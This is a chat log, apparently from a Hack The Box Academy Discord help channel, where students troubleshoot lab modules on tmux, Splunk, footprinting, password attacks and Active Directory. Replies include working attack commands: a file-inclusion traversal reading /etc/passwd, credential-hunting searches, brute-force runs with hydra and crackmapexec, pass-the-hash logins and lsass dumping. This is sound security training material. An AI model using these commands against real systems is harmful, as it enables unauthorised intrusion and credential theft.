modules

[cedar void]

I DM'ed you

[fathom pendant]

Didn't ask you to, try running john with sudo

[woven copper]

research on copy mode, thinks there is a video from ippsec about tmux

[cedar void]

Oh I only DM'ed you so I wouldn't provide any spoilers

[hazy grotto]

Yeah Watched it, i'm not sure whats going on but i follow his commands and they still are not working. I installed the HTB's suggested plugins in the doc module, those keys don't really work for logging either. Not sure what i'm doing wrong

[woven copper]

probably you change some default key, check the ~/.tmux.conf file and this website https://tmuxcheatsheet.com/

[wanton mica]

Can I dm someone about the ColdFusion - Discovery & Enumeration section of the Attacking Common Applications module? I’ve literally tried everything including checking port 5500 via netstat after getting a shell…

[hazy grotto]

So in the guide, spacebar starts the selection of copy mode. but spacebar only goes down a page for me.

Such a bummer cuz tmux really interests me but the logging and copying are kidna the things i really like about it.

[quartz coral]

Does anyone know a solution to the "there are no available instances" error?

[woven copper]

try with "ctrl + Spacebar", that should highlight the text, then "alt+w" to copy on clipboard and finally "ctrl+b+]" to paste the data.

[fathom pendant]

Message support

[tidal mango]

https://www.youtube.com/watch?v=Lqehvpe_djs&t=17s

[hazy grotto]

Already tried this

[hazy grotto]

The ctrl space bar was kinda working. It looked like it was selecting, tried to copy and paste into obsidian but didn't work.

[hazy grotto]

Thanks though

[woven copper]

lol, you can not use copy mode on tmux to copy data inside tmux to programs outside tmux, like web browser, obisidan, notepad, etc.

[hazy grotto]

Well then theres the problem lol

how does one take notes?

[fathom pendant]

Open text editor, paste, save, copy from text file to obsidian

[woven copper]

put this on your tmux config

set-option -g mouse off

then you should be able to use the mouse to copy paste
or run this inside a tmux session

tmux set-option -g mouse off

[hazy grotto]

This works but again, I cant scroll up as i'm selecting so I can only copy what in plane view

[modest pasture]

I have been going through the CDSA modules

Specially, section "Introduction To Splunk & SPL"

I got stuck in the last question of the section "Find through an SPL search against all 4624 events the account name that made the most login attempts within a span of 10 minutes. "

I have tried multiple SPL queries. However, non has sufficed.

Can anyone refer to me a detailed documentation about SPL range() function usage on time or duration?!

[acoustic owl]

https://docs.splunk.com/Documentation/SCS/current/SearchReference/Aggregatefunctions

Range is equal to max() - min()

[modest pasture]

Thanks @acoustic owl . But I have tried this reference. It is not elaborate enough. I am trying to use it in time.

Hypothetically, the first occurrence of an event plus an specified duration afterwards.

[acoustic owl]

Exactly, so if you use range(_time), you have determined the duration between max(_time) and min(_time)

[next bronze]

if you're using x11 and xclip, you can pipe the copy mode buffer into xclip clipboard, and if you're using vmware, it reads from the primary xclip clipboard, so if you pipe the buffer into both clipboards, you'll be able to sync tmux buffer with the clipboard of both your guest and host OS

[modest pasture]

for static data it can work. However, I wanted to compute the number events from the first occurrence of the event by an account name and 5 minutes afterwards. The range shall pinpoint to any record that satisfies that selection and count it.

[fiery berry]

https://superuser.com/questions/537470/tmux-mouse-select-and-scroll-at-the-same-time

# Sane scrolling
set -g terminal-overrides 'xterm*:smcup@:rmcup@'

[acoustic owl]

Yes, you can do exactly that

[stark estuary]

Hello
i have stuck in Threat hunting skills assessment First Hunt "i write the qeury and i found 2 hits" but the answer still wrong :\ any help please?

[modest pasture]

I will try then. A lot of thoughts are going through my heading including using eval and then range(). Thanks pal.

[modest pasture]

Hi, Can you please be more specific or add more details about the section and related question and the ways you have tried?

[stark estuary]

Threat Hunting & Hunting With Elastic

can i share the query ?

[modest pasture]

I am not sure if that is allowed or not.

However, you can go through this reference https://attack.mitre.org/techniques/T1570/

Take a close look at the hint, it suggests the usage of a tool that starts with "r"

"Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol." From Mitre ATT&CK T1570

Cross-check that with "Procedure Examples" that follow

[marsh fulcrum]

Hi there, anyone can help me with the Skills Assessment of "JavaScript Deobfuscation"?. I'm stuck on question 3, I can see the contents of the variable flag but don't know how to stich it together to geht the right answer. Thank you guys in advance.

[prisma spruce]

Throw it in a deobfuscator. If it doesn't work, throw it in another one. That's the entire idea behind that awful module.

[marsh fulcrum]

got it, thank you!

[rustic sage]

.

[cedar void]

You can't use this tool 'crackmapexec smb <ip> -u "user" -p "password" --shares' if there is no smb ports(135,445) on your remote target right?

For the Password attacks module, is it always better to just use mut_password.list over password.list as the default?(until explicitly stated otherwise)

[tame ivy]

Section:Attacking Common Applications
Module:Thick Client Application
"In order to capture the files, it is required to change the permissions of the Temp folder to disallow file deletions. To do this, we right-click the folder C:\Users\Matt\AppData\Local\Temp and under Properties -> Security -> Advanced -> cybervaca -> Disable inheritance -> Convert inherited permissions into explicit permissions on this object -> Edit -> Show advanced permissions, we deselect the Delete subfolders and files, and Delete checkboxes."
After starting a procmon, found a this folder, trying to change security permission, but there is not this option, could anyone hint me?

[brave sail]

The permissions are changed within file explorer : |

the temp folder

I'm on the same module, next section: Exploiting Web Vulnerabilities in Thick-Client Applications. Are we supposed to compile Invoker.java from traverse or fatty-client-new?

[tame ivy]

u can try watch a fatty box from ippsec, i think this the same application

[brave sail]

dope, thank you

[brave sail]

you doing okey with the folder permissions?

[tame ivy]

well i found where i can change permissions, but maybe im selecting a wrong principal?

[brave sail]

pricipal looks good

i had trouble selecting the correct folder

in the previous screen shows the folder you're editting

dm's are open

[tame ivy]

i have dm'd u

[proud notch]

Hello all,

Similar to my last post regarding Footprinting Easy; I am doing the Footprinting Medium lab, and I have gotten the flag but I wanted to see if there was anything I missed. After ||Mounting the NFS directory and finding Alex's credentials|| I tried to connect to both the ||SMTP server with TELNET & CIFS(SMB) || I wasn't able to connect to the first which I kind of figured because I didn't see the port open but when I used the cred for the other service I just seemed like a dead end. Was there another way to enumerate these services did I pretty much cover all of my basis?

[analog dock]

I only enumerated smb after mounting and used that to log in

[proud notch]

I mounted the NFS share and was able to get some initial information from that I had just wanted to make sure that I didn't miss anything because SMB seemed like a dead end but another one of the open services gave me what I needed.

[analog dock]

Smb was not a dead end for me

It had the important note

[fathom pendant]

You can find that note another way

[proud notch]

I actually found that ||Through the remote session||

[analog dock]

Probably, just saying that I got it there

[analog dock]

Yeah also possible

[proud notch]

Did you use smbclient or rpcclient? If it's the former I might be using the wrong switches because I'm getting no information back, with the latter, I seemed to get blocked on every end.

[analog dock]

First smbmap then smbclient

[warm drift]

file inclusion prevention of file inclusion module i have edited php.ini file with a line to disable system() function then restart apache service then curl get request to the php file I made but when I check logs I don't seem to see any flag or what may be the answer it looks normals

[lethal shard]

can someone from admins may be check - is vulnerablesite.htb accessible from the bot side in Skills Assessment from ADVANCED XSS AND CSRF EXPLOITATION module?

so, i think something is broken. may be vulnerablesite.htb is not accessible for the bot

[gaunt rock]

Hey, I have a problem with the modules section of Metasploit, when I try to exploit the vulnerabilities I get this error, I don't understand how to fix it

[candid lily]

attacking common servies idk how to enumerate the user

i checked out blogs i couldnt find any users

i tried bruteforcing on login page and couldnt find any user

[acoustic owl]

You may need to read the module again to find out how it works

[candid lily]

can you please tell me wether i need to brueforce login page

or do i use wpscan

i also tried bruteforcing author id

i have no clue now help

use cme

if you use smb you have to create a smb share on your machine and use xcopy or robocopy

:(

[acoustic owl]

If it is a Wordpress, wpscan is certainly the first choice

[candid lily]

oh yea wpscan worked

i wonder why my loop didnt work

[tall cradle]

hello

i just wanna report a little typo mistake, where can i poste it 👀

[analog dock]

#858470491676737536

[fathom pendant]

#858470491676737536

[tall cradle]

thanx you :)

[candid lily]

why does manually bruteforcing author id doesnt work

[acoustic owl]

idk

[sly dome]

wpscan tells you how it detected the authors

it has several methods to do it

[candid lily]

it says it found by id bruteforcing

but when i try with a python script i dont get it

[sly dome]

proxy the wpscan requests

and check with burp how are they getting done

[dusk dove]

Hello guys👋I'm new here and i'm in Finnish😅But i speak too English

[rustic sage]

Nice to meet you guys

[fathom pendant]

What's your question

If you don't have a module question >>> #general

[rustic sage]

Oh, ok. Didn't see it at first. Going there. Thanks.

[keen patrol]

I'm having an issue getting the ZAP HUD to work correctly. I'm am not able to toggle on and off the break point. I have updated ZAP but it still doesn't work. I'm am working on the examples show in the HTB academy - Web Proxy Module. Any help would be appreciated. It doesn't respond when I click on it.

[stone wing]

I got the ssh password for b.gates, but keep getting this error, "Permission denied (publickey).", when attempting to ssh b.gates@x.x.x.x. Module: Login Brute Forcing. Page: Service Authentication Brute Forcing. Question: Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?

[fathom pendant]

Looks like you need an rsa key, are other services open?

Try attacking another service then

You're sending too many lines. Bot is treating it as spam

[gentle coral]

not doubting you, but if the question is asking to SSH into the server surely you would go that route?

[fathom pendant]

That's the last step, ssh says (publickey) in its denial

[stone wing]

For some reason, I can't paste the nmap output. Some of the open ports are 19 chargen, 22 ssh, 25 smtp, 4240 vrml-multi-use, and a long list of other "unknown" ports

[stone wing]

thanks

[gentle coral]

gotcha

[fathom pendant]

Try smtp

[rustic sage]

hacking wordpress skill assesment
I don't get how should i change /etc/hosts so that the ip would be resolved, cause when i add inlanefreight.com it does not help at all, just confuses with the real publicly faced web https://www.inlanefreight.com/i

[autumn pilot]

enumerate more

[stone wing]

I had no luck with smtp so far. For example, I used telnet x.x.x.x 25;USER b.gates but got "Trying x.x.x.x ..." as the result. I also substituted USER, for VRFY and EXPN but was not able to connect. I'll be back later and will try connecting to ssh again. Thanks

[rustic sage]

AH got it, had an issue with my vpn. used two vpns

[stone wing]

Yeah, I've had similar issues like that in the past. I tried switching the HTB vpn to tcp, udp. I've also played around with my non-htb vpn's protocol as well

[fathom pendant]

You'll get the cubes after completing

Up to you dude

whatever works for you tbh ¯_(ツ)_/¯

[gentle coral]

If its any use to you I was on silver subscription doing the pentest pathway and I ran out of cubes and needed to bump them up

[acoustic owl]

Yes, an annual subscription unlocks all modules without cubes. You will receive cubes for each module you complete. So after a year you will have collected a few cubes.

[gentle coral]

I've just switched to the annual sub for that reason of unlocking them all

[rustic sage]

actually in need of a hint. the web does not run wordpress, i am supposed to find another domain, but looked up the whole site and went through gobuster for hidden links, not yet successful

[gentle coral]

Is it not meant to be http:

As opposed to https://

[sly dome]

you said another domain

did you enumerate another domains under the one gave to you

[rustic sage]

just don't get how to find em

[sly dome]

it’s taught in the ffuf module

also look in the source code

just enumerate better

[strange latch]

I'm doing the Getting Started Module: Public Exploits right now, and I've already answered the question and all, with some internet help

Just trying to rationalize how you were supposed to arrive at the solution

Question: Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

After using nmap on the target (nmap -sV targetIP -Pn), I found that there's three port open, none of which I could exploit via msfconsole or extract some context clues from . The three services I've identified were ssh, tcpwreapped, and tcpwrapped from ports 22, 554, and 7070 respectively

Afterwards, I opened the target site on a web browser and found it explicitly uses WP simple backup plugin, to which I exploited via msfconsole, and later got the flag as a result

Was this how you were supposed to go about this module? Was there any point of doing an nmap scan, when I could've just opened the site?

[sly dome]

nmap then should detect the port 80

80 and 443 usually runs websites

latter is encrypted traffic the former no

[stable relic]

Can someone help me terminate a machine? it says its runnning but nowhere can I stop it

[opal dagger]

hello there, anyone so kind to help me in the questions for the password attack module in the PtT from windows section they ask for the number or TGT, so what i dud is using rudeus i export all the tikets usidng the option dump, now the question is the only TGT tickets are the ones that have the krbtgt on the service field or there is other way to identify them?

[fathom pendant]

Yes you're meant to exploit the plug in

[fathom pendant]

I believe this one launches a public server not private

So you'd do http://ip:port

Anytime it's not a private IP assume web

[sly dome]

the point is his nmap didn’t show 80

[strange latch]

So was portscanning just not useful for trying to exploit this site?

And it was lucky that I happened upon a website (though intentional for this lesson) that was explicitly telling me what plugin it was using, which could be exploited?

[sly dome]

ahh its a docker

then don’t run nmap

[fathom pendant]

Whenever given ip:port. Assume it's a web, and it's set up to give you the hint right away

[sly dome]

you were not lucky

the module teaches you that its a website

[fathom pendant]

It's not "luck" so to speak, it's just the way this exercise was set up

[sly dome]

just follow it

you are NOT meant to portscan

this exercise

[strange latch]

Oh, i thought Try to identify the services running on the server above called for doing a portscan

[fathom pendant]

Eh it can be done by simply identifying that the ip is public

[gentle coral]

would any one mind point me in the right direction in order to find the credentials in Q5 on the Active Directory Skills Assessment Part 1 at all please. Its been doing my head in for the last couple of hours I just can't seem to find it

[cedar void]

So using a username list and using a password list doesn't work? I asked the question in chatgpt and it said it was okay to use a username list or password list ...but I am not sure now.

[fathom pendant]

Capital U and capital P

[stable relic]

Can someone help me out, i cant temrinate a machine, but the machine is not even running

so im rendered useless now I cant do a single acitvity

Becuase of a ghost machine

[fathom pendant]

Message support

[frank sand]

Module: attacking common services easy mysql. I have the username and password I just need some help loging in to MySQL

[fathom pendant]

You have to do it from inside the machine

[frank sand]

RDP

[fathom pendant]

Oh wait nvm you can just do -u<username> -p<password> $ip

You can drop the @ domain from the username

[frank sand]

Thanks I'll give it a go!

[dull crag]

Hi, I am going through the Web Attacks module but Burp Suite and the web browser does not seem to be playing ball, on Burp Suite I cant use anything other than the get http method and in the browser it just seems to constantly be loading, tried this on the first 2 exercises but no luck whatsover, anyone else experience this?

I have tried both my VM and the HTB Instance and still the same

[frank sand]

@fathom pendant It worked thank you!

[fathom pendant]

With intruder active you need to forward the request

[dull crag]

Ok, do I need to send to Intruder or just have intruder active?

[fathom pendant]

If intruder is active you just need to click forward or next on the burp interface

[earnest marsh]

You must do file open and file delete

[dull crag]

Thanks @fathom pendant

[wraith spoke]

finally finished AD Enumeration & Attacks - Skills Assessment Part I. I do have a question remaining. At first i made a reverse tcp meterpreter shell and then I used evilwinrm, however all the tools did not want to connect to the DC to get the information I needed, when i did it through the webshell it worked. can someone explain why my first route did not work and my 2nd did.

[naive wadi]

You'd need to supply the exact commands and process you took as it could be as simple as a command issue etc. Put them in spoiler tags

[wraith spoke]

|| i have made a meterpreter shell from which I obtained a hash for the administrator account. I then used evil winrm account admin:passthehash to enter the 1st machine. I tried minikatz which ended up in a loop showing minikatz: ; I tried rubeus to obtain information, constantly getting errors that it could not find the Domain. I tried powerview to do it manually, same results only getting connection errors. After this I thought it was the machine I was working on so I made a proxychain to go to the 172.16.6.1 network and connected to the 50 machine with the same admin:hash combination, this connection was far to unstable to even do something apart from dumping lsass.
Then I used the webshell to run rubeus and suddenly all the answers were shown and no connection issues. ||

[cerulean salmon]

Is anyone here doing the SOC Analyst job role path?

I'm stuck on a module section and would love a bit of assistance

[fathom pendant]

Just ask your question

https://dontasktoask.com https://nohello.net

[stone wing]

Finally got it! ssh b.gates@x.x.x.x -pport_number_of_htb_target. Thanks

[cerulean salmon]

It's regarding SilkETW - is it supposed to terminate on it's own after it had collected all of the traces? Mine has been running for at least 20 minutes and has currently captured 1628, but it does keep incrementally going up. I'm assuming this is what's keeping the etw.json file from having the method name I'm looking for.

[gentle coral]

@wraith spoke do you mind if I DM you about part 1 at all?

[soft plume]

Hello, I'm currently on Nmap enumeration Medium lab, and I have to find the DNS server version, but I have little to no clue how to go about finding that. I tried all of the DNS resolution options and I think I'm missing sometihng crucial. Would anyone be kind enough to either walk me through how to figure it our or help me?

[eternal tusk]

Any recommended modules on HTB Academy to prep for CEH.

[gray merlin]

Finished the Footprinting module!

[river cedar]

Did you figure out this challenge? I am stuck on the same challenge. I am not even sure if I am interpreting the question correctly.

[slender robin]

i was doing Local File Inclusion (LFI) module

and idky but cmds are not working

any help?

[naive turtle]

Yeah I eventually did.. you have to do some tracing back and understanding child-parent processes

[craggy steppe]

hello, wym cmds are not working ?

[slender robin]

it was suppose to return in "history" section, but it isn't

[craggy steppe]

have you tried this one : ../../../etc/passwd ?

[slender robin]

yeps, didnt work

[modest pasture]

Hi, I am stuck at question 3 of CDSA Introduction To Splunk & SPL. I have tried using range() function with time. I have converted to epoch time and added 10 minutes to get the range.

[craggy steppe]

try adding more "../"

[modest pasture]

However, it has not sufficed yet

[slender robin]

ugh, worked. thankyou

[fathom pendant]

The standard is using like 5 ../

[craggy steppe]

you welcome !
have fun this course is quite hard for a beginner but don't give up !

[fallow plaza]

Hello everyone

[slender robin]

thankyou

[slender robin]

noted

[spiral spoke]

Hello everyone!
Please I need some help
I've been getting strugle with a command in this module

#Module: Linux File Transfer Methods

It's about the scp command
I already have ssh running on my local machine

But in the remote machine I fail with this command

And on my local machine it works

Btw the passwd is correct when I write it but it says that is wrong 😦

[modest pasture]

index="main" sourcetype="WinEventLog:Security" EventCode=4624
| eval startTime=_time
| eval endTime=startTime+600
| stats count by startTime, endTime, Account_Name
| stats range(endTime, startTime) by count, Account_Name

can anyone help?!

[thorn urchin]

0.0.0.0

you're scp into the wrong system

[fathom pendant]

You should be doing your username@tun0ip also the order goes source -> destination so if you're copying from the target you would do that local file to your destination file

[cerulean salmon]

It may not be that issue though. After doing the Seatbelt attack, my Sysmon doesn’t show any event 7s (I did change the ImageLoad to “exclude” in the XML). I’ve been stuck in this section (Tapping into ETW, Windows Event Logs mini module) since last night and I don’t know what I’m doing wrong

[cedar void]

How long did it take any of yall to complete the password attack path?

[fathom pendant]

~5 hours give or take

[cedar void]

Five hours without stopping?

[fathom pendant]

Give or take yeah

Took some time while waiting to eat do some extra stuff

[heavy marsh]

For the credential hunting in Linux section, there doesn't seem to be a way to access the lab machine. How does initial access work? The windows version had RDP creds.

[fathom pendant]

First find another user and password combination: then look for will using the specified tool

[heavy marsh]

There's no initial creds though to start the lab.

[fathom pendant]

Read the first few words of my reply

That's the important bit, use the resources from the resources.zip the module gives you

And the mutated password list

[heavy marsh]

So brute force with SSH using these?

I'm confused

[quick magnet]

hi how u solve this ?

[fathom pendant]

Bruteforce a different service

Ssh is end goal not start

[fathom pendant]

If you Nmap the target you'll see multiple ports open, don't just assume ONLY ssh is open, as the tools provided by the module are slow at bruteforcing ssh and will literally take hours

[heavy marsh]

yeah, that's way too long

SMB didn't work though

The lab isn't compatible with V1

[fathom pendant]

There's other ports

[heavy marsh]

[ERROR] target smb://<IP>:445/ does not support SMBv1

I tried 139, same thing!

[heavy marsh]

So that leaves FTP, which I'll try, but I'm not sure because it wasn't covered in the network services portion. I'm just trying hydra with it anyway.

[fathom pendant]

Well if you ran an Nmap scan you'd know what ports are open

[heavy marsh]

Shows 1:17 for time to complete

I did

[fathom pendant]

You can upgrade the threads

Using -t n

[heavy marsh]

am I on the right track with ftp though? That's the last port from my nmap scan besides the ones I've tried

[fathom pendant]

Just be patient

That's the second lesson of this module is patience

[heavy marsh]

I just want to make sure I'm on the right track before I waste an hour. I'll keep reading ahead while that runs I guess.

Thank you for the clarification.

It didn't say anything about initial creds so I was confused given the windows version of this module supplied RDP creds.

[fathom pendant]

Sometimes in an engagement you aren't given initial creds

[fathom pendant]

Also this module reuses the same labs so you can definitely narrow your search down quickly if you do some quick enumeration techniques after one of the earlier sections

[heavy marsh]

Okay, so I tried FTP and SSH with the information supplied in the hint and have still found 0 valid passwords with Hydra. I feel like I'm spinning my wheels.

[fathom pendant]

gonna say skill issue on this one

[heavy marsh]

Just found it, I put the hint username in lowercase too and tried again.

[fathom pendant]

Well yeah

It's a linux machine

[heavy marsh]

Yeah, I was looking at the hint and didn't think about that when I was putting it in a wordlist as the only word for usernames.list

Then I named it the username in the hint in lowercase .list, lol

[fathom pendant]

I'd suggest taking a look at /home/ so you can get a username list for the Linux machines 😉

[heavy marsh]

Turns out I had just done the password list in my first try with FTP and 64 threads. When I tried the mutated list this is what I got

[fathom pendant]

Same methodology for the Windows C:\users\

[heavy marsh]

188:40h is CRAZY! lol

I get patience is one of the points but that is wild.

[fathom pendant]

Why are you running it against ssh

[heavy marsh]

That was FTP

[fathom pendant]

That's weird. Sounds like connection fuckiness

[heavy marsh]

What's it supposed to be, like 20 min?

[fathom pendant]

<1hr

[heavy marsh]

Yeah, glad I used the clue, that's excessive just to start a lab

I appreciate all of your help!

[fathom pendant]

Also what fuckin wordlist are you using

Rockyou?

[heavy marsh]

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list

from the "resources"

[fathom pendant]

Are you using a list, even after being given a user?

[heavy marsh]

mutated password list using the password list and custom ruleset from the resources in the lesson

[fathom pendant]

I meant for the username

Ya goon

[heavy marsh]

I was using the username list from the resources

I only got the user from the clue

[fathom pendant]

The hint gives you a username to use

Just use that to save time

[heavy marsh]

Yeah I realize now, clue < 10 min, while no clue = 188 hours, lol

[fathom pendant]

[heavy marsh]

They should just give that as a standard, not a clue.

[fathom pendant]

It's a lesson in engagement

One of the ways to narrow down the list is log in as Sam and check /home/ for other usernames

Also SAVE all passwords you find :)

[heavy marsh]

So that's what you're saying in terms of enumeration from previous lessons?

I didn't realize the sessions were linked, the last one I did was windows.

[fathom pendant]

Yes the windows sessions are linked. And the Linux sessions are linked

[primal mesa]

what module: FOOTPRINTING
which part: IPMI
Question: I got the hash for the password of the user finally, but I was stuck for a while when I used the ?1?1?1?1?1?1?1?1, can someone please answer how do we know when is the time to use it? Thanks

[fathom pendant]

Don't use that mask

That mask is for a specific ipmi type

[primal mesa]

thanks @fathom pendant . i got the flag but i want to know when is the time to use it. i didnt understand from the module content on when to use.

[fathom pendant]

The module explicitly tells you the conditions to use it

"In the event of an HP iLO using default password"

[primal mesa]

got it. so from the msfconsole output would you be able to identify if it was HP iLO to then crack it?

[fathom pendant]

Yes

[quick magnet]

hi im stuck on Windows privilage escalation section SeDebugPrivilege

i try psgetsys.ps1 but get error

Exception calling "CreateProcessFromParent" with "3" argument(s): "Not all privileges or groups referenced are
assigned to the caller"

any hint to solve this issue ?

[analog urchin]

Hello Peeps, I am right now at footprinting - lab easy, is about information gathering and stuff, and it's hinted that with this info I should find how to access the server via ssh, so far I believe I downloaded the correct files from the FTP server, but I don't know what do to with this 🤣

I just wanna know a hint of what are supposed to be the next steps.

[quick crane]

reacone

[gray merlin]

It does not look like you have found the right files. Either you didn't show them in the screenshot, or you haven't found them yet.

[cerulean charm]

Hello guys! I am in Password Attacks - Credential Hunting in Windows content

Try to use FindStr /SIM /C: "PASS" *.txt *.ini *.cfg *.config *.xml *.git *.s1 *.yml and Start Lazagne.exe all command

No problem was found: What is the default password of every needed inlanefreight domain user account?

Am I on the right path? Please give me some tips

[south glen]

hey guys can you plz help me with footprinting module - footprinting medium lab .. i have already found administrator creds but not able to get the flag plz guid me a little

[analog dock]

Mssql

[south glen]

does not seems to connect to

throws the error of 111 repeatedly

[analog dock]

Send screenshots

[south glen]

can i dm you once i have acess to my laptop

[analog dock]

You can just send pics here

[south glen]

ok sure

[analog dock]

And you’re admin?

[south glen]

yes

[south glen]

yes

[analog dock]

I just rdp to administrator with the creds found, then opened mssql, had no issues

[south glen]

i dont know first it was throwing error when i rdp with xfreerdp so i tried with remmina and now when i connect to mssql it is giving me this error

[analog dock]

Not for me

[south glen]

and also i tried with msslqclient.py it throws me the error 111 and refused connection

[analog dock]

Are you the user administrator?

[south glen]

yes i am

[south glen]

i login as the alex and now gained adim creds in a file

[analog dock]

Reset the box perhaps

After you reset just rdp to administrator with the pass from the important file

And try opening mssql again

[south glen]

already did it couple of times .. is it a technical issues i am doing something wrong

[south glen]

okay thanks for your time mate

[analog dock]

[radiant lagoon]

i cant even connect with rdesktop or xfreerdp for user alex in footprinting medium

keep getting error

[04:53:23:233] [305625:305626] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[04:53:23:233] [305625:305626] [WARN][com.freerdp.crypto] - CN = WINMEDIUM

[vital adder]

@south glen i was able to re-create your issue, if this what you do change the Authentication back to Windows Authentication

[vital adder]

you may want to put that username in spoiler tag and try this (with the single quote for the pass)

xfreerdp /cert:ignore /dynamic-resolution /v:IP /u:(username)/p:'(password)'

[torpid kite]

hint powershell (and maybe you don't add users 1 by 1 as a sys admin)

[median meteor]

Hi, Anyone recently completed Attacking Enterprise module? On the Web section where I need to get the flag from gitlab, I'm not able to get the site even when adding entry into my /etc/hosts , nothing works, if I use other ports then it redirects to other subdomain

[dreamy solar]

Hello

I have a problem with this exercice

When I run my program I do not have access to my paylaod

can you help me? please

as much for me I have access with the pwn machine but not with my personal machine

[tame ivy]

Hello there, im trying to connect from windows to my linux(smbserver.py) i have configured everything, but when trying to net use there is an error

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
does anyone know how to bypass it?

[sterile epoch]

Hi in the password mutation section of password attack module I am stuck in the mutated password list I generated a password list with the custom rule and password.list provided in the section but it takes a lot of time and even then I am not getting any answers. am I doing someting wrong if so please nudge me in the right direction

Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer. 

The commands I used are

To generate a password list I did

hashcat --force password.list -r custom.rule | sort -u > mut_pass.list

for the attack I used crackmapexec

crackmapexec ssh 10.129.x.x -u sam -p mut_pass.list

[candid lily]

can someone suggest wordlist for this pls, i tried metasploit dont but it didnt get any hits

[solid gate]

Yup, that module loves wasting your time. But you can speed it up by doing enumeration and trying to attack different services. Some are faster than others. Also play around with the tasks flag -t.

[sterile epoch]

try hydra instead of metasploit

[candid lily]

btw there is a ftp server

[sterile epoch]

yes

[candid lily]

i need wordlist

[solid gate]

(sorry, that flag was for hydra, not crackmapexec)

[candid lily]

i even tried writing my own script

it tries to log in correct but the wordlist is not right

[sterile epoch]

ok I will try ftp on it

[candid lily]

:c

[sterile epoch]

any idea how to only display the valid cred on crackmapexec?

[next bronze]

save output to a file and grep +

[sterile epoch]

ok

[sterile epoch]

--export file.name is the flag right?

[next bronze]

yeap

[candid lily]

i need wordlist :c

[next bronze]

rockyou and darkweb2017 should come with kali

[candid lily]

but i dont even know the username

i dont think tomcat needs that much wordlists

[next bronze]

what module is that?

[candid lily]

attacking common application

-> attacking tomcat

[next bronze]

the password is not in the wordlist you used, use a bigger wordlist

[candid lily]

how about usernames

[next bronze]

use the same wordlists as the example

[candid lily]

okay thanks i will give it a try

can you tell the wordlist pls i tried with various ones but my internet is bad and i cant hit one

[next bronze]

same as the ones used in the example

/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

[candid lily]

but that didnt hit

[autumn pilot]

understand the material and use some analytical thinking

[candid lily]

can you please eloborate

it says to bruteforce on manager so im bruteforcing /manager/html

did i mistake anything

[naive wadi]

@quick crane you dont even have to output to a file you can just pipe straight into grep crackmapexec <command> | grep +

[tame ivy]

Hello there, im trying to connect from windows to my linux(smbserver.py) i have configured everything, but when trying to net use there is an error

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

does anyone know how to bypass it?

[candid lily]

im still stuck it in ow

[candid lily]

:c

help

[sly dome]

use credentials

[dire lantern]

hi everyone! i'm stuck in the "Shellcoding tools" chapter of the Intro to assembly language module. I've no idea where to go in the Q. The above server simulates an exploitable server you can execute shellcodes on. Use one of the tools to generate a shellcode that prints the content of '/flag.txt', then connect to the sever with "nc SERVER_IP PORT" to send the shellcode.... Furthermore... In the examples brought in the text, always sets the root after a shellcode, but in my case, just my user (htb-studentxx). Any guidance? any help, please!!!! Thxs!!!!

[acoustic owl]

The module explains exactly what you need to do.

[next bronze]

use one of the tools in the exercise to generate a shellcode to get the flag, then send it using nc. not sure what you're referring to in the last part

[candid lily]

i tried everything i can 😭

i tried metasploit, given script, my own script on different endpoints /manager/html, /host-manager/html

nothing works

[acoustic owl]

Restart the target and do exactly 1:1 what is explained in the module.

[tame ivy]

Module:Attack Common Application
Section:Exploiting Web Vulnerabilities in Thick-Client Applications
Trying to complete this section, done everything until downloading a fatty-server.jar, while editing a Invoker.java there was always a compliling error just because of some stupid things(i cannot edit this properly bcs there is no code editor or something like this), after that thought to upload a ligolo-ng and download a fatty-server and do it through vscode on my local machine, but i cannot even upload it(tried curl,wget,certutil,smbserver, also tried evil-winrm but it just froze) also rdp is always crashing, does anybody done this section? i need some help

NOTE:i cant change code though notepad bcs of this things /* */ in java

[candid lily]

how did you do tomcat

[tame ivy]

just did everything that was in module, that wasnt hard

DM me if u want

[next bronze]

you can mount a drive when connecting to rdp, check here https://manpages.ubuntu.com/manpages/focal/man1/xfreerdp.1.html if your rdp keep crashing, swich your vpn to tcp

[sterile epoch]

I tried it but I am getting some log error

[tame ivy]

thank you

[candid lily]

the box is broken, i got answer and when i tried the same with burp it failed but when i try again it logged in

is there some mechanism to block if i send too many requests ? or is the box just broken

[acoustic owl]

I have no idea.
Back then, I did exactly what was written in the module and was able to answer the question without any problems.

That's why I also said restart the target

[south glen]

thankyou so much for your time you have been a great help mate .. 🙂

[naive wadi]

too vague, provide more information.

[upbeat osprey]

Module Introduction to Forensics
Section Rapid Triage Examination & Analysis Tools

Hello, I'm stuck with the last question of the section. I think I have identified the right process but I can't find his name

[acoustic owl]

What have you already tried?

[upbeat osprey]

I found it, I always go too far

[autumn palm]

Doing Windows Priv Esc - Pillaging. Question" Restore the directory containing the files needed to obtain the password hashes for local users. Submit the Administrator hash as the answer". It will not accept the Administrator hash in any given format. Anyone had similar issues? Nevermind. EDIT!!! What a detrimental exercise embedding more backups with multiple versions of the needed files........

[tame ivy]

Module:Attacking Common Applications
Section:Exploiting Web Vulnerabilities in Thick-Client Applications
Cant undestand, did the same thing but there is an error, does anyone know something?

i dont know java at all

[fathom pendant]

Look up walk-through for a box called fatty

[tame ivy]

he is doing from eclipse, but this is too long, but yeah it the only way i think

[spring viper]

did you make sure to carry over the changes from the previous manipulation? I dont remember which step this is but I remember I had a lot of trouble on one because I used the base fatty-client and didnt carry over the initial modification when I did another step - nvm didnt read your error clearly sorry

[dreamy solar]

Hello when I try to recover the files, error access not denied, what sould I do ? Please

[fathom pendant]

Set it up with a username/password

Windows doesn't play well with unauth stuff

[fathom pendant]

Also specify a filename in your move command

